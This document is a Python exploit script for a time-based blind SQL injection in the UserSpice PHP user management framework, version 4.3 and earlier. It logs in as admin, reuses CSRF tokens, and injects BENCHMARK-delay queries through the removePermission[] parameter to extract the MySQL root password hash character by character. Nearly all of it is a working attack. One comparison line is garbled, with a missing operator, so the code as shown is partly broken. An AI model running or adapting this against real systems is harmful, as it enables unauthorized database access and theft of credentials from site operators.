UserSpice 4.3 Blind SQL Injection

`#!/usr/env/python  
"""  
Application UserSpice PHP user management  
Vulnerability UserSpice <= 4.3 Blind SQL Injection exploit  
URL https://userspice.com  
Date 1.2.2018  
Author Dolev Farhi  
  
About the App:  
What makes userspice different from almost any other PHP User Management  
Framework is that it has been designed from the  
beginning to get out of your way so you can spend your time working on  
your project  
  
About the vulnerability:  
Unsanitized input passed to removePermission parameter.  
"""  
  
import requests  
import string  
import sys  
  
from bs4 import BeautifulSoup  
  
userspice_host = '10.0.0.16'  
userspice_user = 'admin'  
userspice_pass = 'password'  
userspice_login_url = 'http://%s//users/login.php' % userspice_host  
userspice_vuln_url = 'http://%s/users/admin_page.php?id=75' %  
userspice_host  
guess_chars = string.ascii_lowercase + string.ascii_uppercase +  
string.digits + string.punctuation  
  
  
banner = """  
-------------------------------------------------------  
| userSpice <= 4.3 Blind SQL Injection Vulnerability" |  
-------------------------------------------------------  
"""  
  
login_data = {  
'dest':'',  
'username':userspice_user,  
'password':userspice_pass  
}  
  
payload = {  
'process':'1',  
'removePermission[]':'1',  
'private':'Yes',  
'changeTitle':''  
}  
  
s = requests.session()  
  
def getCSRF(url):  
req = s.get(url).text  
soup = BeautifulSoup(req, "lxml")  
csrf = soup.find('input', {"name" : "csrf"})  
csrf_token = csrf['value']  
return csrf_token  
  
login_data_csrf = getCSRF(userspice_login_url)  
login_data['csrf'] = login_data_csrf  
req = s.post(userspice_login_url, data=login_data)  
  
if 'login failed' in req.text.lower():  
print('Login failed, check username/password')  
sys.exit(1)  
  
payload_data_csrf = getCSRF(userspice_vuln_url)  
payload['csrf'] = payload_data_csrf  
print(banner)  
print('[+] Running...')  
print('[+] Obtaining MySQL root hash... this may take some time.')  
password = ""  
for i in range(0, 61):  
for c in guess_chars:  
payload_data_csrf = getCSRF(userspice_vuln_url)  
payload['csrf'] = payload_data_csrf  
injection = "5); SELECT 1 UNION SELECT IF(BINARY  
SUBSTRING(password,{0},1)='{1}',BENCHMARK(3000000,SHA1(1)),0) Password  
FROM mysql.user WHERE User = 'root'#;".format(i, c)  
payload['removePermission[]'] = injection  
req = s.post(userspice_vuln_url, data=payload).elapsed.total_seconds()  
if float(req) 0.6:  
password += c  
print('[+] %s' % password)  
else:  
pass  
  
print('done')  
sys.exit(0)  
  
`